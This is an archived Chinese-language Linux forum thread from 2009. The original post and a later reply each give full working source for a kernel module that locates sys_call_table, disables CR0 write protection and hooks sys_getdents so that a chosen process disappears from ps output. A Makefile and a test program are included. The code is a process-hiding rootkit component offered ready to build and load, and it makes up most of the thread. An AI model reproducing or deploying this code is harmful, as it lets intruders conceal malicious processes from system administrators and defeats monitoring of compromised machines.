免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 25758 | 回复: 55

[原创]关于劫持系统调用隐藏进程的一些心得 [复制链接]

论坛徽章:
0
发表于 2009-09-17 09:56 |显示全部楼层
网上很多类似的文章,其中很多示例程序都是在比较老的内核版本上测试过,很多在新的内核下根本无法运行,我收集了一些相关的资料,并给出一个在linux内核2.6.28(ubuntu9.04)上可以运行的程序代码.相比其他一些文章,修改如下:

1.增加了两个函数,清CR0的第20位,不然在替换sys_call_table的时候会报段错误.
unsigned int clear_and_return_cr0(void);
void setback_cr0(unsigned int val);

2.针对ubuntu9.04中,ps命令用的系统调用是sys_getdents,不是sys_getdents64(在suse系统里面用的是sys_getdents64),所以程序中劫持的是sys_getdents的系统调用.

关于隐藏进程的原理,可以查看其他相关文章,主要是通过int 0x80 找sys_call_table的地址.

博客地址:http://blog.chinaunix.net/u3/103654/showart.php?id=2053976

测试环境: ubuntu9.04 内核版本2.6.28

模块代码如下:

/*hideps.c*/

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <linux/unistd.h>
//#include <sys/stat.h>
//#include <fcntl.h>
#define CALLOFF 100

//使用模块参数来定义需要隐藏的进程名

int orig_cr0;
char psname[10]="looptest";
char *processname=psname;

//module_param(processname, charp, 0);
struct {
    unsigned short limit;
    unsigned int base;
} __attribute__ ((packed)) idtr;

struct {
    unsigned short off1;
    unsigned short sel;
    unsigned char none,flags;
    unsigned short off2;
} __attribute__ ((packed)) * idt;

struct linux_dirent{
    unsigned long     d_ino;
    unsigned long     d_off;
    unsigned short    d_reclen;
    char    d_name[1];
};

void** sys_call_table;

unsigned int clear_and_return_cr0(void)
{
    unsigned int cr0 = 0;
    unsigned int ret;

    asm volatile ("movl %%cr0, %%eax"
            : "=a"(cr0)
         );
    ret = cr0;

    /*clear the 20th bit of CR0,*/
    cr0 &= 0xfffeffff;
    asm volatile ("movl %%eax, %%cr0"
            :
            : "a"(cr0)
         );
    return ret;
}

void setback_cr0(unsigned int val)
{
    asm volatile ("movl %%eax, %%cr0"
            :
            : "a"(val)
         );
}


asmlinkage long (*orig_getdents)(unsigned int fd,
                    struct linux_dirent __user *dirp, unsigned int count);

char * findoffset(char *start)
{
    char *p;
    for (p = start; p < start + CALLOFF; p++)
    if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')
        return p;
    return NULL;
}

int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr;
    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
    {
        if (*ptr < '0' || *ptr > '9')
            return (-1);
        res += (*ptr - '0') * mul;
        mul *= 10;
    }
    if(res>0 && res< 9999)
        printk(KERN_INFO "pid=%d,",res);
    printk("\n");
    return (res);
}

struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = get_current(),*entry=NULL;
    list_for_each_entry(entry,&(p->tasks),tasks)
    {
        if(entry->pid == pid)
        {
            printk("pid found=%d\n",entry->pid);
            return entry;
        }
        else
        {
    //    printk(KERN_INFO "pid=%d not found\n",pid);
        }
    }
    return NULL;
}

static inline char *get_name(struct task_struct *p, char *buf)
{
    int i;
    char *name;
    name = p->comm;
    i = sizeof(p->comm);
    do {
        unsigned char c = *name;
        name++;
        i--;
        *buf = c;
        if (!c)
            break;
        if (c == '\\') {
            buf[1] = c;
            buf += 2;
            continue;
        }
        if (c == '\n')
        {
            buf[0] = '\\';
            buf[1] = 'n';
            buf += 2;
            continue;
        }
        buf++;
    }
    while (i);
    *buf = '\n';
    return buf + 1;
}

int get_process(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    //    char *buffer[64] = {0};
    char buffer[64];
    if (task)
    {
        get_name(task, buffer);
    //    if(pid>0 && pid<9999)
    //    printk(KERN_INFO "task name=%s\n",*buffer);
        if(strstr(buffer,processname))
            return 1;
        else
            return 0;
    }
    else
        return 0;
}

asmlinkage long hacked_getdents(unsigned int fd,
                    struct linux_dirent __user *dirp, unsigned int count)
{
    //added by lsc for process
    long value;
    //    struct inode *dinode;
    unsigned short len = 0;
    unsigned short tlen = 0;
//    struct linux_dirent *mydir = NULL;
//end
    //在这里调用一下sys_getdents,得到返回的结果
    value = (*orig_getdents) (fd, dirp, count);
    tlen = value;
    //遍历得到的目录列表
    while(tlen > 0)
    {
        len = dirp->d_reclen;
        tlen = tlen - len;
        printk("%s\n",dirp->d_name);
                              
        if(get_process(myatoi(dirp->d_name)) )
        {
            printk("find process\n");
        //发现匹配的进程,调用memmove将这条进程覆盖掉
            memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
            value = value - len;
            printk(KERN_INFO "hide successful.\n");
        }
        if(tlen)
            dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
    }
    printk(KERN_INFO "finished hacked_getdents.\n");
    return value;
}


void **get_sct_addr(void)
{
    unsigned sys_call_off;
    unsigned sct = 0;
    char *p;
    asm("sidt %0":"=m"(idtr));
    idt = (void *) (idtr.base + 8 * 0x80);
    sys_call_off = (idt->off2 << 16) | idt->off1;
    if ((p = findoffset((char *) sys_call_off)))
        sct = *(unsigned *) (p + 3);
    return ((void **)sct);
}


static int filter_init(void)
{
    //得到sys_call_table的偏移地址
    sys_call_table = get_sct_addr();
    if (!sys_call_table)
    {
        printk("get_act_addr(): NULL...\n");
        return 0;
    }
    else
        printk("sct: 0x%x\n", (unsigned int)sys_call_table);
    //将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents
    orig_getdents = sys_call_table[__NR_getdents];

    orig_cr0 = clear_and_return_cr0();
    sys_call_table[__NR_getdents] = hacked_getdents;
    setback_cr0(orig_cr0);
    printk(KERN_INFO "hideps: module loaded.\n");
                return 0;
}


static void filter_exit(void)
{
    orig_cr0 = clear_and_return_cr0();
    if (sys_call_table)
    sys_call_table[__NR_getdents] = orig_getdents;
    setback_cr0(orig_cr0);
    printk(KERN_INFO "hideps: module removed\n");
}
module_init(filter_init);
module_exit(filter_exit);
MODULE_LICENSE("GPL");

makefile文件如下:

obj-m   :=hideps.o
EXTRA_CFLAGS := -Dsymname=sys_call_table
KDIR   := /lib/modules/$(shell uname -r)/build
PWD   := $(shell pwd)
default:
        $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
clean:
        $(RM) -rf .*.cmd *.mod.c *.o *.ko .tmp*


编写一个测试程序looptest.c,如下:
#include<stdio.h>

int main(void)
{
    while(1);
    return 0;
}

编译该测试程序,#gcc looptest.c -o looptest
并将该程序在后台运行,然后insmod 驱动模块hideps.ko,然后输入ps查看进程,可发现,looptest进程看不到了....

[ 本帖最后由 g84ch 于 2009-9-17 10:07 编辑 ]

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
发表于 2009-09-17 10:08 |显示全部楼层
好文章。不知LZ的这个程序和内核版本关联紧密否,手头上只有2.6.18的内核。

论坛徽章:
0
发表于 2009-09-17 10:59 |显示全部楼层

回复 #1 g84ch 的帖子

评分

参与人数 1可用积分 +15 收起 理由
Godbach + 15 多谢分享

查看全部评分

论坛徽章:
0
发表于 2009-09-17 11:28 |显示全部楼层

回复 #2 Godbach 的帖子

2.6.18?是redhat的release吧,呵呵,应该是可以的,不过红帽中对ps的系统调用是sys_getdents还是sys_getdents64,这我没有去看,在ubuntu9.04中用的是sys_getdents,所以我程序里面劫持的它.

论坛徽章:
0
发表于 2009-09-17 11:29 |显示全部楼层

回复 #3 CUDev 的帖子

代码的那个文件下载了是乱码,你能传个附件到这里来吗?谢谢...呵呵...

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
发表于 2009-09-17 11:32 |显示全部楼层

回复 #4 g84ch 的帖子

对,RH发行了2.6.18的内核版本,不过我自己也从kernel.org上下载了干净的2.6.18.3的内核,现在玩的就自己下载的

论坛徽章:
0
发表于 2009-09-17 13:21 |显示全部楼层

回复 #4 g84ch 的帖子

strace一下,看是哪个系统调用

论坛徽章:
0
发表于 2009-09-17 13:24 |显示全部楼层
我觉得两点可以改系统调用  一 在lib库里可以改动系统用 二 在call.s可以改 至于调用的函数你可以自己定义

论坛徽章:
0
发表于 2009-09-17 13:24 |显示全部楼层

回复 #5 g84ch 的帖子

cublog的附件处理将tar.gz全部改为了.tgz后缀,可能会导致解压的时候直解压到tar文件。再对tar文件解压即可。
或者是tar xzvf xxxx.tgz

论坛徽章:
0
发表于 2009-09-17 14:24 |显示全部楼层
好贴,支持。utu:" />


追加了点注释。
  1. /*hideps.c*/

  2. #include <linux/module.h>
  3. #include <linux/kernel.h>
  4. #include <asm/unistd.h>
  5. #include <linux/types.h>
  6. #include <linux/sched.h>
  7. #include <linux/dirent.h>
  8. #include <linux/string.h>
  9. #include <linux/file.h>
  10. #include <linux/fs.h>
  11. #include <linux/list.h>
  12. #include <asm/uaccess.h>
  13. #include <linux/unistd.h>
  14. //#include <sys/stat.h>
  15. //#include <fcntl.h>

  16. #define CALLOFF 100

  17. //使用模块参数来定义需要隐藏的进程名

  18. int orig_cr0;
  19. char psname[10] = "looptest";
  20. char *processname = psname;

  21. //module_param(processname, charp, 0);

  22. // idtr register
  23. struct {
  24.     unsigned short limit;// 16 bit(bit0-15)
  25.     unsigned int base;    // 32 bit(bit16-47)
  26. } __attribute__ ((packed)) idtr;

  27. // idt entity(8byte)
  28. struct {
  29.     unsigned short off1; // offset bit0-15(bit0-15)
  30.     unsigned short sel; //segment selector (bit16-31)
  31.     unsigned char none,flags; //none:(bit32-39), flag:(bit40-47)
  32.     unsigned short off2; //offset bit16-31(bit48-63)
  33. } __attribute__ ((packed)) * idt;

  34. struct linux_dirent{
  35.     unsigned long     d_ino;
  36.     unsigned long     d_off;
  37.     unsigned short    d_reclen;
  38.     char    d_name[1];
  39. };

  40. void** sys_call_table;

  41. //clear bit19(20th bit) of cr0 and return original cr0
  42. unsigned int clear_and_return_cr0(void)
  43. {
  44.     unsigned int cr0 = 0;
  45.     unsigned int ret;

  46.     asm volatile ("movl %%cr0, %%eax"
  47.             : "=a"(cr0)
  48.          );
  49.     ret = cr0;

  50.     /*clear the 20th bit of CR0,*/
  51.     cr0 &= 0xfffeffff;
  52.     asm volatile ("movl %%eax, %%cr0"
  53.             :
  54.             : "a"(cr0)
  55.          );
  56.     return ret;
  57. }

  58. // restore cr0 with original value
  59. void setback_cr0(unsigned int val)
  60. {
  61.     asm volatile ("movl %%eax, %%cr0"
  62.             :
  63.             : "a"(val)
  64.          );
  65. }

  66. // original system call func
  67. asmlinkage long (*orig_getdents)(unsigned int fd,
  68.                     struct linux_dirent __user *dirp, unsigned int count);

  69. // get addr start with 0xff 0x14 0x85
  70. char * findoffset(char *start)
  71. {
  72.     char *p;
  73.     for (p = start; p < start + CALLOFF; p++)
  74.         // In x86 machine code,   call *sys_call_table(,%eax,4)
  75.         // is translated to   0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>
  76.         // the 4 ‘addr’ bytes form the address of 'sys_call_table[]'
  77.         if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')
  78.             return p;
  79.     return NULL;
  80. }

  81. // convert a digital string to int
  82. int myatoi(char *str)
  83. {
  84.     int res = 0;
  85.     int mul = 1;
  86.     char *ptr;
  87.     for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
  88.     {
  89.         // not digit
  90.         if (*ptr < '0' || *ptr > '9')
  91.             return (-1);
  92.         res += (*ptr - '0') * mul;
  93.         mul *= 10;
  94.     }
  95.     if(res>0 && res< 9999)
  96.         printk(KERN_INFO "pid=%d,",res);
  97.     printk("\n");
  98.     return (res);
  99. }

  100. // get task_struct by pid
  101. struct task_struct *get_task(pid_t pid)
  102. {
  103.     struct task_struct *p = get_current(),*entry=NULL;
  104.     list_for_each_entry(entry,&(p->tasks),tasks)
  105.     {
  106.         if(entry->pid == pid)
  107.         {
  108.             printk("pid found=%d\n",entry->pid);
  109.             return entry;
  110.         }
  111.     }
  112.     printk(KERN_INFO "pid=%d not found\n",pid);
  113.     return NULL;
  114. }

  115. // get task's name
  116. static inline char *get_name(struct task_struct *p, char *buf)
  117. {
  118.     int i;
  119.     char *name;
  120.     name = p->comm;
  121.     i = sizeof(p->comm);
  122.     do {
  123.         unsigned char c = *name;
  124.         name++;
  125.         i--;
  126.         *buf = c;
  127.         if (!c)
  128.             break;
  129.         if (c == '\\') {
  130.             buf[1] = c;
  131.             buf += 2;
  132.             continue;
  133.         }
  134.         if (c == '\n')
  135.         {
  136.             buf[0] = '\\';
  137.             buf[1] = 'n';
  138.             buf += 2;
  139.             continue;
  140.         }
  141.         buf++;
  142.     }
  143.     while (i);
  144.     *buf = '\n';
  145.     return buf + 1;
  146. }

  147. // check if pid is which we want to hook
  148. int get_process(pid_t pid)
  149. {
  150.     struct task_struct *task = get_task(pid);
  151.     //    char *buffer[64] = {0};
  152.     char buffer[64];
  153.     if (task)
  154.     {
  155.         get_name(task, buffer);
  156.     //    if(pid>0 && pid<9999)
  157.     //    printk(KERN_INFO "task name=%s\n",*buffer);
  158.         if(strstr(buffer,processname))
  159.             return 1;
  160.         else
  161.             return 0;
  162.     }
  163.     else
  164.         return 0;
  165. }

  166. //hook func
  167. asmlinkage long hacked_getdents(unsigned int fd,
  168.                     struct linux_dirent __user *dirp, unsigned int count)
  169. {
  170. //added by lsc for process
  171.     long value;
  172.     //    struct inode *dinode;
  173.     unsigned short len = 0;
  174.     unsigned short tlen = 0;
  175. //    struct linux_dirent *mydir = NULL;
  176. //end
  177.     //在这里调用一下sys_getdents,得到返回的结果
  178.     value = (*orig_getdents) (fd, dirp, count);
  179.     tlen = value;
  180.     //遍历得到的目录列表
  181.     while(tlen > 0)
  182.     {
  183.         len = dirp->d_reclen;
  184.         tlen = tlen - len;
  185.         printk("%s\n",dirp->d_name);
  186.                               
  187.         if(get_process(myatoi(dirp->d_name)) )
  188.         {
  189.             printk("find process\n");
  190.             //发现匹配的进程,调用memmove将这条进程覆盖掉
  191.             memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
  192.             value = value - len;
  193.             printk(KERN_INFO "hide successful.\n");
  194.         }
  195.         if(tlen)
  196.             dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
  197.     }
  198.     printk(KERN_INFO "finished hacked_getdents.\n");
  199.     return value;
  200. }


  201. void **get_sct_addr(void)
  202. {
  203.     unsigned sys_call_off;
  204.     unsigned sct = 0;
  205.     char *p;

  206.     // get idtr using sidt
  207.     asm("sidt %0":"=m"(idtr));

  208.     // get system_call idt
  209.     idt = (void *) (idtr.base + 8 * 0x80);

  210.     // get offset(address of system_call func)
  211.     sys_call_off = (idt->off2 << 16) | idt->off1;

  212.     // get call *sys_call_table(,%eax,4)
  213.     if ((p = findoffset((char *) sys_call_off)))
  214.         // add   0xff 0x14 0x85 3bytes
  215.         sct = *(unsigned *) (p + 3);
  216.     // sys_call_table
  217.     return ((void **)sct);
  218. }


  219. static int filter_init(void)
  220. {
  221.     //得到sys_call_table的偏移地址
  222.     sys_call_table = get_sct_addr();
  223.     if (!sys_call_table)
  224.     {
  225.         printk("get_act_addr(): NULL...\n");
  226.         return 0;
  227.     }
  228.     else
  229.         printk("sct: 0x%x\n", (unsigned int)sys_call_table);
  230.     //将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents
  231.     orig_getdents = sys_call_table[__NR_getdents];

  232.     orig_cr0 = clear_and_return_cr0();
  233.     sys_call_table[__NR_getdents] = hacked_getdents;
  234.     setback_cr0(orig_cr0);
  235.     printk(KERN_INFO "hideps: module loaded.\n");
  236.     return 0;
  237. }


  238. static void filter_exit(void)
  239. {
  240.     orig_cr0 = clear_and_return_cr0();
  241.     if (sys_call_table)
  242.     sys_call_table[__NR_getdents] = orig_getdents;
  243.     setback_cr0(orig_cr0);
  244.     printk(KERN_INFO "hideps: module removed\n");
  245. }
  246. module_init(filter_init);
  247. module_exit(filter_exit);
  248. MODULE_LICENSE("GPL");
复制代码

[ 本帖最后由 chenbdchenbd 于 2009-9-17 18:43 编辑 ]
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP